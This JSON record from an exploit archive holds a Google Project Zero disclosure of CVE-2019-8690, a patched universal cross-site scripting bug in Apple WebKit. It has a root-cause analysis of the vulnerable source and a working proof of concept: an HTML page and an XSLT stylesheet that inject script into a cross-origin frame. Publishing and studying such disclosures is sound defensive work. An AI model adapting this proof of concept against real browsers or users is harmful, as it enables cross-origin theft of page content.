{"exploit":{"id":"EDB-47237","name":"Apple WebKit - UXSS via XSLT and Nested Document Replacements","description":"Apple WebKit - UXSS via XSLT and Nested Document Replacements","cves":["CVE-2019-8690"],"author":"Google Security Research","published":"2019-08-12","platform":"multiple","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47237","path":"exploits/multiple/dos/47237.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47237.txt","vulnerabilities":[{"id":"CVE-2019-8690","state":"PUBLISHED","title":null,"titleSource":null,"description":"A logic issue existed in the handling of document loads. This issue was addressed with improved state management. This issue is fixed in iOS 12.4, macOS Mojave 10.14.6, tvOS 12.4, Safari 12.1.2, iTunes for Windows 12.9.6, iCloud for Windows 7.13, iCloud for Windows 10.6. Processing maliciously crafted web content may lead to universal cross site scripting.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-8690","cvss":{"version":"3.1","baseScore":6.1,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-8690"},"updatedAt":"2024-08-04T21:24:29.607Z","retrievedAt":"2026-11-27T00:06:14.090Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47237.png?v=2","url":"https://exploitbin.com/exploits/EDB-47237","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47237/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47237/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"VULNERABILITY DETAILS\nhttps://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66\n```\nRef<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,\n    const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)\n{\n    Ref<Document> ownerDocument(sourceNode->document());\n    bool sourceIsDocument = (sourceNode == &ownerDocument.get());\n    String documentSource = sourceString;\n\n    RefPtr<Document> result;\n    if (sourceMIMEType == \"text/plain\") {\n        result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());\n        transformTextStringToXHTMLDocumentString(documentSource);\n    } else\n        result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());\n\n    // Before parsing, we need to save & detach the old document and get the new document\n    // in place. We have to do this only if we're rendering the result document.\n    if (frame) {\n[...]\n        frame->setDocument(result.copyRef());\n    }\n\n    auto decoder = TextResourceDecoder::create(sourceMIMEType);\n    decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);\n    result->setDecoder(WTFMove(decoder));\n\n    result->setContent(documentSource);\n```\n\nhttps://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248\n```\nvoid Frame::setDocument(RefPtr<Document>&& newDocument)\n{\n    ASSERT(!newDocument || newDocument->frame() == this);\n\n    if (m_documentIsBeingReplaced) // ***1***\n        return;\n\n    m_documentIsBeingReplaced = true;\n\n[...]\n\n    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)\n        m_doc->prepareForDestruction(); // ***2***\n\n    m_doc = newDocument.copyRef();\n```\n\n`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via\na nested frame's \"unload\" event handler. Therefore the `m_documentIsBeingReplaced` flag has been\nintroduced to avoid reentrant calls. The problem is that by the time `setDocument` is called,\n`newDocument` might already have a reference to a `Frame` object, and if the method returns early,\nthat reference will never get cleared by subsequent navigations. It's not possible to trigger\ndocument replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI\nload; however, an attacker can use an XSLT transformation for that.\n\nWhen the attacker has an extra document attached to a frame, they can navigate the frame to a\ncross-origin page and issue a form submission request to a 'javascript:' URI using the extra\ndocument to trigger UXSS.\n\nVERSION\nWebKit revision 245321.\nIt should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).\n\nREPRODUCION CASE\nrepro.html:\n```\n<body>\n<script>\ncreateFrame = doc => doc.body.appendChild(document.createElement('iframe'));\n\npi = document.createProcessingInstruction('xml-stylesheet',\n  'type=\"text/xml\" href=\"stylesheet.xml\"');\ncache_frame = createFrame(document);\ncache_frame.contentDocument.appendChild(pi);\n\nsetTimeout(() => {\n  victim_frame = createFrame(document);\n  child_frame_1 = createFrame(victim_frame.contentDocument);\n  child_frame_1.contentWindow.onunload = () => {\n    victim_frame.src = 'javascript:\"\"';\n    try {\n      victim_frame.contentDocument.appendChild(document.createElement('html')).\n        appendChild(document.createElement('body'));\n    } catch { }\n\n    child_frame_2 = createFrame(victim_frame.contentDocument);\n    child_frame_2.contentWindow.onunload = () => {\n      doc = victim_frame.contentDocument;\n      doc.write('foo');\n      doc.firstChild.remove();\n\n      doc.appendChild(pi);\n      doc.appendChild(doc.createElement('root'));\n\n      doc.close();\n    }\n  }\n\n  victim_frame.src = 'javascript:\"\"';\n\n  if (child_frame_1.xslt_script_run) {\n    victim_frame.src = 'http://example.com/';\n    victim_frame.onload = () => {\n      form = corrupted_doc.createElement('form');\n      form.action = 'javascript:alert(document.body.innerHTML)';\n      form.submit();\n    }\n  }\n}, 2000);\n</script>\n</body>\n\n```\n\nstylesheet.xml:\n```\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n<xsl:template match=\"/\">\n<html>\n<body>\n<script>\n<![CDATA[\ndocument.body.lastChild.xslt_script_run = true;\n]]>\n</script>\n<iframe src=\"javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();\"></iframe>\n</body>\n</html>\n</xsl:template>\n</xsl:stylesheet>\n\n```\n\nCREDIT INFORMATION\nSergei Glazunov of Google Project Zero","sha256":"7754f99cf0318dc9d410f18726fbb28a1989091e616cf9ab2ad32f1b059eb8ff","bytes":4621,"fetchedAt":"2026-11-27T00:06:09.133Z","encoding":"utf-8 (display only; download retains original bytes)"}